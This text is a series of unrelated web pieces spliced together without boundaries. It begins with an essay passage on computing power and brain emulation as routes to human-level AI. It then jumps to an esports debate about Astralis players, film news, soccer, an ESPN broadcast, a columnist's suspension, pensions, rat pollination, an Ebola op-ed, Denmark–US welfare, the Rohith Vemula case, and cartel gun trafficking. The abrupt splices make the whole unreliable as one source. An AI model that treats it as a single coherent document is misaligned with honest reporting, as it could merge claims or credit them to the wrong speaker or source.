The hardware problem is more challenging. Speed rather than memory seems to be the limiting factor. We can make a guess at the computer hardware that will be needed by estimating the processing power of a human brain. We get somewhat different figures depending on what method we use and what degree of optimisation we assume, but typical estimates range from 100 million MIPS to 100 billion MIPS. (1 MIPS = 1 Million Instructions Per Second). A high-range PC today has about one thousand MIPS. The most powerful supercomputer to date performs at about 10 million MIPS. This means that we will soon be within striking distance from meeting the hardware requirements for human-level artificial intelligence. In retrospect, it is easy to see why the early artificial intelligence efforts in the sixties and seventies could not possibly have succeeded - the hardware available then was pitifully inadequate. It is no wonder that human-level intelligence was not attained using less-than-cockroach level of processing power.
Turning our gaze forward, we can predict with a rather high degree of confidence that hardware matching that of the human brain will be available in the foreseeable future. IBM is currently working on a next-generation supercomputer, Blue Gene, which will perform over 1 billion MIPS. This computer is expected to be ready around 2005. We can extrapolate beyond this date using Moore's Law, which describes the historical growth rate of computer speed. (Strictly speaking, Moore's Law as originally formulated was about the density of transistors on a computer chip, but this has been closely correlated with processing power.) For the past half century, computing power has doubled every eighteen months to two years [see fig. 1]. Moore's Law is really not a law at all, but merely an observed regularity. In principle, it could stop holding true at any point in time. Nevertheless, the trend it depicts has been going strong for a very extended period of time and it has survived several transitions in the underlying technology (from relays to vacuum tubes, to transistors, to integrated circuits, to Very Large Integrated Circuits, VLSI). Chip manufacturers rely on it when they plan their forthcoming product lines. It is therefore reasonable to suppose that it may continue to hold for some time. Using a conservative doubling time of two years, Moore's law predicts that the upper-end estimate of the human brain's processing power will be reached before 2019. Since this represents the performance of the best supercomputer in the world, one may add a few years to account for the delay that may occur before that level of computing power becomes available for doing experimental work in artificial intelligence. The exact numbers don't matter much here. The point is that human-level computing power has not been reached yet, but almost certainly will be attained well before 2050.
This leaves the software problem. It is harder to analyse in a rigorous way how long it will take to solve that problem. (Of course, this holds equally for those who feel confident that artificial intelligence will remain unobtainable for an extremely long time - in the absence of evidence, we should not rule out either alternative.) Here we will approach the issue by outlining two approaches to creating the software, and presenting some general plausibility-arguments for why they could work.
We know that the software problem can be solved in principle. After all, humans have achieved human-level intelligence, so it is evidently possible. One way to build the requisite software is to figure out how the human brain works, and copy nature's solution.
It is only relatively recently that we have begun to understand the computational mechanisms of biological brains. Computational neuroscience is only about fifteen years old as an active research discipline. In this short time, substantial progress has been made. We are beginning to understand early sensory processing. There are reasonably good computational models of primary visual cortex, and we are working our way up to the higher stages of visual cognition. We are uncovering what the basic learning algorithms are that govern how the strengths of synapses are modified by experience. The general architecture of our neuronal networks is being mapped out as we learn more about the interconnectivity between neurones and how different cortical areas project onto to one another. While we are still far from understanding higher-level thinking, we are beginning to figure out how the individual components work and how they are hooked up.
Assuming continuing rapid progress in neuroscience, we can envision learning enough about the lower-level processes and the overall architecture to begin to implement the same paradigms in computer simulations. Today, such simulations are limited to relatively small assemblies of neurones. There is a silicon retina and a silicon cochlea that do the same things as their biological counterparts. Simulating a whole brain will of course require enormous computing power; but as we saw, that capacity will be available within a couple of decades.
The product of this biology-inspired method will not be an explicitly coded mature artificial intelligence. (That is what the so-called classical school of artificial intelligence unsuccessfully tried to do.) Rather, it will be system that has the same ability as a toddler to learn from experience and to be educated. The system will need to be taught in order to attain the abilities of adult humans. But there is no reason why the computational algorithms that our biological brains use would not work equally well when implemented in silicon hardware.
Another, more "science-fiction-like" approach has been suggested by some nanotechnology researchers (e.g. Merkle[4]). Molecular nanotechnology is the anticipated future ability to manufacture a wide range of macroscopic structures (including new materials, computers, and other complex gadgetry) to atomic precision. Nanotechnology will give us unprecedented control over the structure of matter. One application that has been proposed is to use nano-machines to disassemble a frozen or vitrified human brain, registering the position of every neurone and synapse and other relevant parameters. This could be viewed as the cerebral analogue to the human genome project. With a sufficiently detailed map of a particular human brain, and an understanding of how the various types of neurones behave, one could emulate the scanned brain on a computer by running a fine-grained simulation of its neural network. This method has the advantage that it would not require any insight into higher-level human cognition. It's a purely bottom-up process.
Thorin and lurppis argued for the consensus best player, Nicolai "dev1ce" Reedtz, while GeT_RiGhT argued contentiously for Andreas "Xyp9x" Højsleth, considered the support player of Astralis. This suggests a vast difference in what both parties consider to compose the "best" player, and it speaks to the polar-opposite opinions in the never-ending debate.
The term "best" refers to a concept, essentially meaning "the player who contributes most to reaching an objective." In Counter-Strike, the goal is to win tournaments. The aforementioned argument demonstrates a difference in measures of this concept. To figure out what makes a player best is to ask how we should measure "bestness."
The obvious argument for dev1ce is the statistical one. The sheer volume of kills that dev1ce gets is staggering and unparalleled in his team. Using the HLTV rating, he is the highest-performing player on his team on LAN. His opening kill ratio is remarkable. He's the best statistical player on Astralis in basically every measure we use to determine the best.
However, statistical analysis of this kind can be challenged. Data points like average damage per round (ADR) and kills per round (KPR) have a star-player bias, as they generally are put in situations where they are more likely than their teammates to find kills, which end up padding their statistics. So if Xyp9x and dev1ce both had an 85 ADR, it is quite likely that Xyp9x was the better performer of the two, as his kills were likely to come from clutch situations and more difficult positions. So if we want to prove that dev1ce is the better player, statistics won't do the trick.
If roles bring out a flaw in statistical measures, it blurs other measures of the "best" player. Specifically, roles force us to take into consideration the burden of expectation that should be placed on each player. For dev1ce's performance to be considered average, it must be significantly more impressive than Xyp9x's as a consequence of the sacrifices his team makes to set him up for success. The economy is an example of one such sacrifice. Since dev1ce is a dedicated awper, his team will purchase something that has massive economic repercussions for him. If someone gets only a single kill in three purchases of an AK-47, it is much less costly for the team than it would be if the exact same stat line was with an awp instead. With an awp rather than an AK, $6,350 more was sacrificed to get that one kill. As a consequence of this added cost, dev1ce is expected to have a significantly bigger impact on the game than he would with the AK.
Andreas "Xyp9x" Højsleth and Astralis came in as favorites to lift the ESL Pro League Season 8 trophy. Helena Kristiansson/ESL
And yet, there's more to dev1ce's performance than his statistics and the burden of his role. In fact, his role itself is not merely a constant pressure -- it's also a pedestal. Of course, Xyp9x's performance relative to his role's limitations may be more impressive, but is it more important? Remember the definition of "best" given: the player who contributes most to winning tournaments. Does Xyp9x contribute more to winning tournaments than dev1ce?
Dev1ce is put into a role with a higher burden because he is more capable than Xyp9x. If the latter could carry a game better than the former, the positions would be reversed and Xyp9x would be the one set up up for success. This is critical because the star player's role contributes more to winning than the support's. After all, the support's role is make room for the star to dominate. So if a star is more skilled than a support, and his role is more important within the game, it's hard to argue that dev1ce isn't the best player on Astralis.
This argument has its own difficulties. The assumption made is that "best" means most skilled. Obviously, Counter-Strike is in large part about aim. Yet, for a support player, very often the most useful skill is not aim. For example, when Xyp9x plays solo B site of Train, his fitness for the role is not due to his ability to kill multiple people entering the site -- the position is much too vulnerable to reliably succeed in doing so, regardless of aiming ability. Rather, the spot demands the ability to navigate angles effectively to stay alive as long as possible. Hopefully, he'll be able to get a kill or two, but the setup doesn't require him to do so. It does, however, require him to stay alive long enough to enable a quick rotation from his teammates to create an effective retake situation. In fact, most situations Xyp9x finds himself in requires a different kind of ability. Simply implying aim-based positions are more important than other equally demanding positions is unsatisfactory as a justification of dev1ce's superiority.
Since arguments on both sides fall short, we need a new angle with which we can tackle this question. A player's performance must be placed not simply by the facticity of his role, but by its context. That is to say that the player must not only be compared to his teammates, but also, perhaps even more so, to those who share his role. For example, dev1ce should not be compared to Xyp9x. Rather, his impact should be compared with other awpers. If we look at Xyp9x's role, his performance relative to his peers is not only good -- it is the best.
Here's a thought experiment that would help integrate this added variable: If you had to replace either dev1ce or Xyp9x for any other player in the game, would you do it? This question forces us to compare each player to their peers. However, it does more for us than that. It makes us really consider who's most valuable on the team. While we can find Xyp9x more valuable relative to other support players, we can reject his claim to being the best by considering who's more valuable to the team. True superstars, like dev1ce, s1mple or coldzera, offer more to the team than mere skill. They have unique playstyles that their teams build themselves around. Swapping them with other equally skilled players would be, in most cases, ineffective. You wouldn't be able to put s1mple on Astralis, even without language barriers. Astralis is strategically constructed to match dev1ce's pattern of play, and no other player can replace him.
Fortunately she and the great Connie Nielsen are returning for this November's hero-jammed Justice League. Wright played Diana's aunt, General Antiope, in Wonder Woman; Nielsen was her mother, Queen Hippolyta. The news came in a roundtable interview with the L.A. Times (via A.V. Club ). Star Gal Gadot was asked if future work—yes, Wonder Woman 2 is being planned —will have more of their characters.
House of Cards' Robin Wright was, if you saw Wonder Woman, among the very best parts of a very dope movie. One second she's nefariously ruling America in an endless tango with the evil Frank Underwood in your Netflix queue; the next, she's giving one of the most viscerally satisfying, well shot and revolutionarily scripted action performances in recent memory.
The way the actresses discuss Wonder Woman's production and execution makes it easy to see why they'd be excited to return to the roles—although Justice League is not in director Patty Jenkins' control but rather the completely different stewardship of Zack Snyder and relief pitcher/Batgirl director Joss Whedon, so who knows. (Superman's own mom, Diane Lane, seems to have less faith in Justice League than Avengers: Infinity War, so REALLY who knows.)
"It was incredible," Wright said of the experience with Jenkins, largely filmed in that paradisiacal location, "and feeling the elements." The roundtable proceeded:
Nielsen: "It was physically hard to do those scenes over and over again in the sand. But it was incredible."
Wright: "But then we'd always scream, 'Can I get another take? No, I can do it better. I know I can wield my sword better.'"
Gadot: "I've never in my life seen a scene that is packed with beautiful, strong women that are just fighting together in such a beautiful harmony doing crazy, badass things. I've never in my life seen anything like that."
Wright: "Yeah, it was a ballet."
Nielsen: "It was almost like it was a new paradigm for action scenes. It’s not some kind of female version of a male action scene. It is a completely different thing. And that's what I think is amazing; it’s really, really well-suited for women."
Wright: "Designed for the way we move. We don't move like men."
There’s absolutely no question that the signing of Jordan Morris, unveiled to great fanfare Thursday, is a coup for the Sounders, and a boon for Major League Soccer.
Whether or not this is the best move for Morris’ soccer future is a more legitimate question, and ultimately an imponderable one — despite a cascade of opinion on the matter. The eternal search for the Next Big Thing in American soccer has rarely had a fairy tale ending (see Adu, Freddy), so there’s no prototype for Morris to follow.
“There’s not empirical data that says if a player goes to X league, there’s a Y outcome that’s better than if he went to a different league,’’ Sounders owner Adrian Hanauer said. “It’s a completely individual thing.’’
With that in mind, and weighing an offer from Werder Bremen of the German Bundesliga, Morris chose the best path to fulfillment: Follow his heart. And his heart took him back to his hometown team, which will try very hard not to force him to be America’s latest homegrown savior.
Adu is the cautionary tale, deemed America’s Pele as a pre-teen and signed by D.C. United at age 14 as the top draft pick in MLS, only to have his career fizzle far short of expectations.
Morris, 21, arrives with his own lofty expectations, having already won an NCAA title with Stanford and the Hermann Trophy as the top collegiate player. He’s also had flashes of success with the U.S. national men’s team. Many are looking at Morris to be the next American superstar before he has even played his first professional match.
The Sounders are going to try very hard to keep Morris grounded, though his humble temperament indicates that won’t be difficult. The first matter on his Seattle agenda will be earning playing time on a front line that already includes established players like Clint Dempsey, Obafemi Martins and Nelson Valdez.
“We feel like this is a pretty big club with a big fan base and big players,’’ Hanauer said. “We love Jordan, but we have much bigger players today than Jordan. He has to earn his way onto the field.”
Sounders general manager Garth Lagerwey said, “I was present in Washington, D.C., when they announced Freddy Adu, and I refuse to make Jordan a symbol or a pawn in anything.’’
Yet that didn’t stop the Sounders from posting a picture Wednesday on Twitter of Morris juxtaposed with an earlier one of Lionel Messi, each striking a similar pose atop the Space Needle.
And it didn’t stop coach Sigi Schmid, while urging restraint in one breath, from lavishing some pretty hefty praise in another.
“Landon Donovan is one of the best players U.S. soccer ever produced and he was a player that also decided for his development it was best to stay home and do that here,’’ Schmid said. “I think Jordan can eventually evolve himself into that same class.”
Schmid recalls advising a player in 2005 who was deciding between playing in Europe or the MLS, and found the advantages stacked strongly in favor of going overseas. Now that the gap in quality of play has narrowed, as well as the salary structure, it’s not nearly so clear-cut.
“Our league has developed to the point where a lot of those things have become erased,’’ he said. “A lot of those things are very close to equal, and I think the development of players in our country continues to grow.”
Schmid points, again, to Donovan, whose experience playing in Germany early in his career wasn’t a happy one, largely because of difficulty adjusting to a new culture. His career didn’t take off until he was loaned to the San Jose Earthquakes and then traded to the Los Angeles Galaxy.
“If you put yourself into an uncomfortable situation, your growth stagnates,’’ Schmid said.
It’s not unreasonable to think that a contented Morris, a self-described “homebody,” will thrive more with the Sounders than he would have with Werder Bremen. At some point down the road, Morris can still tackle Europe, as former Sounder DeAndre Yedlin is doing with Sunderland — with only moderate success — in the English Premier League.
Of course, one wonders how U.S. national coach Jurgen Klinsmann feels about Morris’ decision. Klinsmann has been known to push his Americans toward Europe, believing that the stronger competition will produce better players.
“My personal opinion is that Jurgen knows no better than any of us what’s best for the development of a player,’’ Hanauer said.
Morris, who leaves Friday for training with the U.S. national team in Los Angeles, insists that Klinsmann has been supportive throughout the process.
“He did help me set up the trial over there (in Germany) and supported me going over there and wanted me to try it, which is very fair,’’ Morris said. “I agreed with him. I wanted to try it, too.
“But in terms of my final decision, he was very supportive of what I wanted to do, which I really appreciated. He’s given me opportunities I never thought I’d get in my whole career.”
Morris’ pro career now starts in Seattle. Perhaps the best justification for his decision of MLS over Bundesliga was made by Hanauer.
The on-air kiss between gay couples seems to no longer carry the taboo it once did for television audiences. We told you about the Beekman Boys and their on-air smooch after winning the latest season of Amazing Race. Now this past weekend, ESPN showed an openly gay male pro athlete Scott Norton kissing his husband after he won the 2012 PBA Chameleon Championship, which took place in November in Las Vegas.
And, in what OutSports is calling a first, the network did not shy away from describing the same-sex relationship. After Norton won the event over Jason Belmonte, he was then "shown kissing his husband, Craig Woodward, as they exchanged affectionate words. During the telecast, ESPN’s announcers referred to Woodward as Norton’s husband or spouse," according to sources.
USA Today has suspended the column of a conservative commentator for one month after he called for drivers to “run … down” demonstrators protesting police shootings in Charlotte, North Carolina Wednesday night.
"USA TODAY expects its columnists to provide thoughtful, reasoned contributions to the national conversation, on all platforms," Bill Sternberg, the editorial page editor of USA Today, said in a statement to POLITICO. "Glenn Reynolds’ Run them down' tweet, in response to a news report about protesters in Charlotte stopping traffic and surrounding vehicles, was a violation of that standard and can be interpreted as an incitement to violence. Reynolds, a law professor at the University of Tennessee who writes twice a week for USA TODAY, has apologized. His column has been suspended for one month."
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Reynolds was briefly suspended from Twitter late Wednesday after he sent the tweet in question. “Run them down,” Reynolds wrote in the tweet, which linked to a news story about demonstrators who had stopped traffic on a Charlotte highway.
The tweet was criticized as promoting violence against the demonstrators, who are protesting the deaths of black people at the hands of police after police in North Carolina shot and killed Keith Lamont Scott earlier this week. Some of those protests have turned violent, and North Carolina Gov. Pat McCrory called for a state of emergency Wednesday night.
Reynolds defended his tweet on his personal blog, and he accused Twitter of being “out to silence voices it disagrees with or something.” Reynolds’ Twitter account was reinstated under the condition that he delete the tweet, he said Thursday.
In a statement on USA Today's website, Reynolds apologized for the tweet and said that the comment had been misconstrued.
"What I meant is that drivers who feel their lives are in danger from a violent mob should not stop their vehicles," he wrote. "...My tweet should have said, 'Keep driving,' or 'Don’t stop.'"
"I have always supported peaceful protests, speaking out against police militarization and excessive police violence in my USA TODAY columns, on my website and on Twitter itself," he added. "I understand why people misunderstood my tweet and regret that I was not clearer."
The National Institute on Retirement Security (NERS), a non-profit group that has defended traditional public pensions, issued case studies on three states that switched to 401(k)-style defined contribution retirement plans.
In all three states, Alaska, West Virginia and Michigan, problematic funding gaps widened, the report said. When the changes were made, backers of the switch predicted it would solve funding problems.
Critics of the report said it used faulty methodology and was politically motivated. They said NERS has an agenda to keep traditional public pensions in place.
In 2006, Alaska switched newly hired state workers from its two biggest traditional defined benefit plans to a defined contribution plan. Yet the funding gap doubled, from about $6 billion in 2006 to $12 billion last year, according to the state. In 2014, Alaska made a $3 billion cash infusion into the defined benefit plans to shore them up.
One problem in Alaska, critics of the switch said, was that the old pension plans still had to pay out pension benefits to workers hired before 2006, but lacked contributions from new workers.
“I voted against the change, and now the state has had to come in with a bailout. It’s exactly what I said would happen,” said Mike Hawker, an Alaska Republican assembleyman.
Union-backed defenders of public pensions have been battling reformers looking to curb rising costs. Reformers say state contributions are lower and more predictable for defined contribution plans, and that once the contributions are made the long-term financial risk falls on the employee.
Pension costs were significant factors in bankruptcies of Detroit, Michigan, and California’s Stockton and San Bernardino. Recent ballot initiatives in various states aimed at switching traditional pensions systems to 401(k)-style plans have sparked bitter debate and campaigns have attracted tens of millions of dollars in funding from both sides.
Illinois Republican governor Bruce Rauner, in his first state of the state address on Feb. 4, called for a switch to a less generous 401k-type plan for future state workers.
New Jersey Governor, Chris Christie, a Republican mulling a 2016 White House run, said last year his state must “stop the insanity of a defined-benefit pension system that we cannot afford.”
NERS Executive Director Diane Oakley called the case studies a “cautionary tale” for states thinking of making the switch.
Among critics of the NERS report were the John and Laura Arnold Foundation, which has assets of $1.3 billion according to its latest tax filings.
Hedge fund billionaire John Arnold, who runs the foundation with his wife Laura, has donated millions of dollars toward efforts in U.S. states to switch to defined contribution plans.
Josh McGee, vice president of accountability at the foundation, said NERS has a history of “placing a heavy thumb” in favor of traditional plans. He said the report was flawed because it assumed that underfunding problems occurred in Alaska, West Virginia and Michigan because of the switch to defined contribution plans.
McGee argued that “the states would have been in an even worse fiscal position today had they stuck with their legacy plan for all employees.” He said there were already excellent defined contribution plans in existence in the public sector in states including Oregon, Colorado and Indiana.
Invasive rats are compensating for the loss of native pollinators in New Zealand, scientists report.
The rats, which are responsible for devastating the native pollinator populations, are attracted to the flowers for their nectar.
The results could mean that the decline of pollinating animals worldwide does not spell the end for all native plants.
The results are published in a Royal Society journal.
Almost 90% of the world's flowering plants are pollinated by animals.
Insect pollination alone is estimated to be worth £141bn ($224bn) each year, and according to a report from the UN Food and Agriculture Organization (FAO) bees pollinate over two-thirds of the world's crops.
So the decline of the world's pollinating animals has unsurprisingly sparked concerns about lower yields and serious long-term food shortages among farmers and governments.
Image caption Metrosideros was historically pollinated by bats
Conservationists also predict the loss of many animal-pollinated plants.
"New Zealand offers a really interesting and rare opportunity to look at what the consequences of species extinction [are] for... pollination," explained conservation biologist David Wilcove from Princeton University, US.
"We have this situation where almost all of the native vertebrates in New Zealand - birds, bats and reptiles - have disappeared from the North island... largely due to predation by rats," he added.
But a small patch of pristine New Zealand woodland still exists, affording the researchers the opportunity to investigate the impact of losing key pollinating species on endemic plant species.
Dr Wilcove, and his then Princeton colleague David Pattemore, set out to study three plants: the red-flowered Metrosideros and Knightia, and the purple-flowered Veronica.
What the duo didn't expect to see was that on the mainland, where the plants were no longer visited by traditional pollinating species, rats, and a recently colonising bird, were doing the job instead.
And for two of the three plant species, the invasive species were doing a comparable job to the native pollinators.
Image caption Rattus rattus stowed away on European ships to reach New Zealand
"I was quite startled by it," said Dr Wilcove.
He explains that, in general, this type of compensation is more likely to happen for flowering plants that are pollinated by many different animals.
But for plants that rely on a very specialist pollinator, the loss of its sole pollinating animal still spells doom for the species.
Most crops, Dr Wilcove suspects, are pollinated by multiple species, and so there might be room for one pollinator to be replaced by another.
So for crop species, these findings should be encouraging, he suggested.
(CNN) -- Right now, two-thirds of Americans are suffering from "Fear-bola," according to a new Washington Post poll. It's a hyper-contagious disease that affects the brain, making sufferers fear a widespread Ebola outbreak in the United States.
Fear-bola is an airborne disease that spreads through conversation, entering your brain through your ears. Fear-bola is so contagious that some victims have contracted it by simply seeing images and videos about Ebola.
Once inside your body, Fear-bola attacks the part of the brain responsible for rational thinking. It starts with a low-grade concern about the two health care workers diagnosed with Ebola in Dallas and slowly builds into fear of a widespread epidemic in the United States. Almost half of the people affected by Fear-bola are also "very" or "somewhat" worried they themselves will catch the virus.
Fear-bola is dangerous because it leads to confused decision-making and illusions. People who favor travel bans, for example, suffer from Fear-bola. Anyone convinced Ebola is an airborne virus is suffering from the disease. If the news that a second health care worker in Dallas diagnosed with Ebola made you think you're in a real-life "Contagion" or "Outbreak" movie, you suffer from Fear-bola.
Fear-bola can also affect institutions. Navarro College, a small community college outside Dallas, has contracted Fear-bola and has stopped accepting students from countries with confirmed cases of Ebola, according to The Daily Beast.
Navarro has rejected every student application from Nigeria, a country with 174 million people and 20 cases of Ebola. By the way, after "world-class epidemiological detective work," that outbreak was traced back to a Liberian-American. Nigeria is five days away from being declared Ebola-free by the World Health Organization.
To put this story in perspective, it would be like Harvard suddenly sending rejection letters to every high school applicant from Texas, stating: "Unfortunately Harvard is not accepting applications from students in states with confirmed cases of Ebola." As you can see, Fear-bola is extremely dangerous at an institutional level because it leads to widespread discrimination.
I almost caught Fear-bola from a good friend when he told me: "You better believe I'm worried about Ebola. Sure, the docs say, 'Don't worry. It's not airborne. You must touch fluid to get it' ... but what if a person on plane or subway sneezes, sending fluid particles at me or a few drops on the seat. ... That's not airborne to docs ... but that's fluid and now I have Ebola. Yeah, I'm very afraid."
That was all it took to contract Fear-bola. Suddenly, I felt the urge to Google "how far does a sneeze travel?" (It's 200 feet, by the way.)
Once you contract Fear-bola, you can't help but spread it to others. After talking to my friend, I called my mom -- who luckily gave me a dose of common sense. As she put it, "I don't know what everyone is so worried about Ebola. If you're in West Africa, yes, you should be afraid, but here? It's ridiculous.
"One person has died in the United States from Ebola and that's awful. But if you want to worry about a contagious disease that can kill you, worry about the flu. Did you know tens of thousands of people died from the flu last year, tens of thousands? I don't see people stampeding to CVS to get a flu shot."
She's right. According to the Centers for Disease Control and Prevention, from 1997 to 2007, flu deaths ranged from a low of about 3,500 to a high of 49,000 deaths a year. The flu reached epidemic levels in last year's season. And just like that I was cured of Fear-bola with a dose of the facts. Unless you are a health care worker or family member caring for an infected patient, you are not going to contract Ebola in the United States. You have nothing to fear.
We cannot allow Fear-bola to take over America because the world needs our help. We need to think rationally, and we need to think globally. In West Africa, the facts are grim -- more than 4,000 dead, and the outbreak is doubling in size every three weeks. The World Health Organization says West Africa could see 10,000 new Ebola cases a week by December.
It's spreading quickly in West Africa because the affected countries are politically unstable and recovering from war, and they lack the public health infrastructure to quarantine people properly, provide health workers with protective gear and educate the population about risks and best practices.
We're right to be concerned about the welfare of the medical professionals who were treating Thomas Eric Duncan, who died from Ebola in Dallas. But an outbreak is not likely. Our public health and communication infrastructures are yet another reason why there will never be a major Ebola outbreak here. The spread of Ebola overseas has more to do with the social and political realities in West Africa than the reality of the virus.
It is vital to mobilize our health care experts and nongovernmental organizations overseas quickly. The best way to prevent Ebola in the United States is to protect people in West Africa. Here, two people are infected with Ebola in Dallas; in West Africa, more than 8,000 are infected. The fewer people who get it in West Africa, the less likely it will spread here. It's counterintuitive, but a travel ban driven by Fear-bola would actually spread Ebola, as this article in Forbes explains.
A travel ban would also seal us off when invaluable resources from the CDC and the National Institutes of Health need to be deployed to help stop the spread of Ebola on a global scale. If a ship is sinking, what good does it do to lock ourselves below deck in our cabins? In 2002, we were invaluable in fighting SARS and in 2009, working with China to curb the swine flu outbreak.
If you live in West Africa, you have reason to be afraid. If you care for Ebola patients, you must be extraordinary careful. If you have been placed in quarantine, you better remain there until you are cleared.
For the rest of us here in the United States, it's time to eradicate Fear-bola and focus on how you can help those who are suffering from the Ebola outbreak overseas. And while you're at it, you should probably get a flu shot.
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Last week, in Denmark, Malthe and Lærke Knudson had a baby girl they named Emma. That same day, the Robinsons—Dale and Beth—had a little baby in the United States. They called her Rachel.1
Right now, they’re just two little babies keeping their parents awake at night. But Emma and Rachel were born in countries that have very different priorities, and that’s going to lead to pretty different futures.2
It all boils down to this: Though Danes pay a lot more than Americans in taxes and government fees, they get a whole lot more back in social services.3
As a result, Americans end up spending twice as much out-of-pocket for those social goods and services. Let’s see how that plays out over their two lives.4
Early Childhood Education
In six months, Emma will probably enroll in preschool. By law, every 6-month-old Danish baby is guaranteed high-quality preschool, and parents can’t be charged more than a quarter of the cost of those services. Parents who can’t afford it? They don’t have to pay.5
In the United States, kids from low-income families are often eligible for full-time Head Start programs. Even then, the program only has enough funding for a half-million slots nationwide. But the Robinsons make too much to qualify, so they’ll either have to park little Rachel with Dale’s mom, or one of them will have to get a second job to help cover the cost of daycare. That little luxury could set the Robinsons back as much as $22,000 a year.6
Child Benefit
It costs a lot to raise kids these days no matter where you live, but the Knudsons will enjoy a child benefit which starts at $225 a month. When Emma hits age seven, they’ll get $140 a month until she’s 17. That’s not a benefit just for poor people; everyone gets it!7
Rachel, on the other hand, will have to start learning some cool tricks ASAP in order to get into a decent elementary school and prepare herself for a high school that will help her get into a good college.8
Public Schools
Some American schools are world class, but others, often serving students from low-income families, can rank down there with those in developing countries.9
That means the Robinsons may soon be shopping for a house in another school district—a notion that would never even occur to the Knudsons, because all of the public schools in Denmark are really good.10
Free College
Emma and Rachel are both good students, and they’ll both go to college when they get older. In Denmark, almost every college student attends public colleges and universities, which don’t charge tuition.11
Rachel will navigate a very different educational system. She’ll probably end up with a good deal of debt—in the US, 71 percent of the class of 2015 graduated with student-loan debt averaging around $35,000.12
Vacation
Fresh out of school, the young women enter the workforce. And again, they’ll have very different experiences.13
If Rachel is lucky, she’ll get two weeks a year of paid vacation, but maybe not—the US is the only industrialized nation that does not require any amount of paid vacation. Emma, like most full-time workers in Denmark, is guaranteed five weeks of paid vacation time a year.14
That doesn’t include the nine public holidays, which most employees get. And many Danes enjoy a sixth week of paid vacation during the holidays. And that’s how you relax like a Viking!15
Leisure Time
Danes and Americans have similar incomes, but Americans work a whopping 24 percent more hours per year. That means that Danes get to spend about an hour and a half more each day on leisure activities than Americans.16
Unemployment Benefits
When Rachel loses her job she’ll qualify for unemployment benefits that cover about half of her income, usually up to half a year.17
Emma will face a similar situation—hey, it happens to the best of us—but she’ll get up to 90 percent of what she was making, and she can collect that for up to two years and sometimes more!18
Employment
Now, some people say those generous benefits create a culture of dependency and discourage people from looking for a job, but 73 percent of working-age Danes have a paid job, compared with 60 percent of Americans.19
Health Care
And Emma will always have access to an excellent public health-care system. In Denmark, everyone’s covered. Americans, on the other hand, spend two and a half times as much per person on health care as the Danes, but around one in eight are still uninsured.20
Parental Leave and Gender Pay Disparity
Some day, Emma and Rachel will meet the right partner and have babies themselves. Emma won’t pay anything for delivering her baby, but Rachel will pay around $5,000 out-of-pocket for a normal delivery.21
Rachel also lives in the only advanced economy that doesn’t mandate paid family leave. She can take some unpaid time, but for most women, there’s no guarantee that her job will be waiting for her.22
One in four American women quit or are laid off when they have a baby, so they lose seniority and end up with an uneven work history. According to one study, each child lowers an American woman’s earnings by 6-8 percent.23
Emma and her partner, on the other hand, will be able to divide a full year of paid parental leave between them. Many Danes work under union contracts that give them up to 100 percent of their salaries during that time, but if they don’t, the government will give them $630 per week while they’re on leave.24
This is one reason why the gender pay gap is around three times bigger in the United States than it is in Denmark.25
Retirement
Emma and Rachel will watch their kids grow up, and then they’ll look to enjoy their golden years.26
As an average American, Rachel will work two years longer than Emma. Emma’s pension will cover two-thirds of her pre-retirement income, while Rachel’s Social Security benefits will cover less than half of what she had earned.27
The Result?
Emma will have lived her life under the crushing burden of democratic socialism. That combination of state-funded education, health care, parental leave, and plenty of other benefits has made the citizens of Denmark the second happiest in the world. And Americans? Number 15.28
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Vemula’s mother Radhika, sister Neelima and brother Raju, who visited the campus, demanded that “those responsible for his death” be brought to book. “Not Rs 8 lakh, we don’t want even if you give Rs 8 crores…from HCU where he died,” Neelima said.
[related-post]
The HCU had yesterday announced an ex gratia of Rs 8 lakh to the family. “Smriti Irani…she called up after five days. Why it took five days? You are also a woman…you are also a mother…it took five days (to call up the family and condole the death). “I want to know why he died. You killed or he died? Why was he suspended? Those responsible should be arrested and punished. That’s the only thing I want,” she said.
READ: Anti-national Rohith to Mother India son Rohith: why the shift
Raju said, “The Prime Minister says he (Rohith) was a son of Mother India. I am not big enough to talk about him (PM) …Why he did not speak for five days?” Rohith’s sister said he was not a “timid” person and termed his suicide as a “murder”. She demanded that punishment be given to Susheel Kumar, the ABVP leader who was allegedly assaulted by Rohith and four other students, and varsity’s Vice Chancellor Appa Rao Podile.
“We want to know the reasons behind Rohith’s death. It’s not a suicide. His is not timid. He was prompted to commit suicide. Those responsible for that murder should be given punishment…first is Shusheel Kumar, second is the VC,” she said. She also sought to know why the family was not informed of Rohith’s suspension. Breaking his silence on the matter, Prime Minister Narendra Modi had yesterday said: “When there is news that a youth of my country, Rohith, was compelled to commit suicide, what his family must have gone through. Mother India has lost a son. There will be reasons, there will be politics (surrounding it) but the fact remains that a mother has lost
her son. I feel the pain very well.”
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If anyone at Academy sports shop in Houston was suspicious as John Hernandez pushed $2,600 in cash across the counter, they kept it to themselves.
The 25 year-old unemployed machinist in dark glasses walked out of the gun shop clutching three powerful assault rifles modelled on the US army's M-16.
A few weeks later, Hernandez bought five similar weapons at another Houston gun shop, Carter's Country. There were few questions on that occasion, either, or as he visited other weapons stores across the city in the following months until he had bought a total of 14 assault rifles and nine other weapons for nearly $25,000.
With each purchase, all the law required was that Hernandez prove he lived in Texas and wait a few minutes while the store checked he had no criminal record.
Months later, one of those assault rifles was seized in neighbouring Mexico at the scene of the "Acapulco police massacre", after one of the country's most powerful drug cartels killed five officers and two secretaries in an attack at the beach resort once regarded as a millionaires' playground. Another was recovered after the kidnap and murder of a cattle buyer. Others were found in the hands of top-level enforcers for narcotics traffickers, or abandoned after attacks on Mexican police and the military. The guns have been tied to eight killings in Mexico.
In time, US federal agents discovered that Hernandez was at the heart of a ring of two dozen people who bought more than 300 weapons from Texas gun shops for one of the more notorious Mexican drug cartels, Los Zetas. Some of those guns have since been linked to the killings of at least 18 Mexican police officers and civilians, including members of the judiciary and a businessman who was abducted and murdered.
The weapons bought by Hernandez and his ring were just a fraction of the tens of thousands smuggled across the US's southern border to cartels fighting a bloody war with the Mexican government that has claimed about 45,000 lives in five years.
It's a war sustained by a merry-go-round. The cartels use the money paid by Americans for drugs to buy weapons at US guns stores, which are then shipped across the frontier, often using the same vehicles and routes used to smuggle more narcotics north. The weapons are used by the cartels to protect narcotics production in their battle with the Mexican police and army, and smuggle drugs north.
Key to the cycle is the ease with which traffickers are able to obtain guns in the US, made possible in large part by the robust opposition of the powerful gun lobby – backed by much of the US Congress – to tighter laws against arms trafficking.
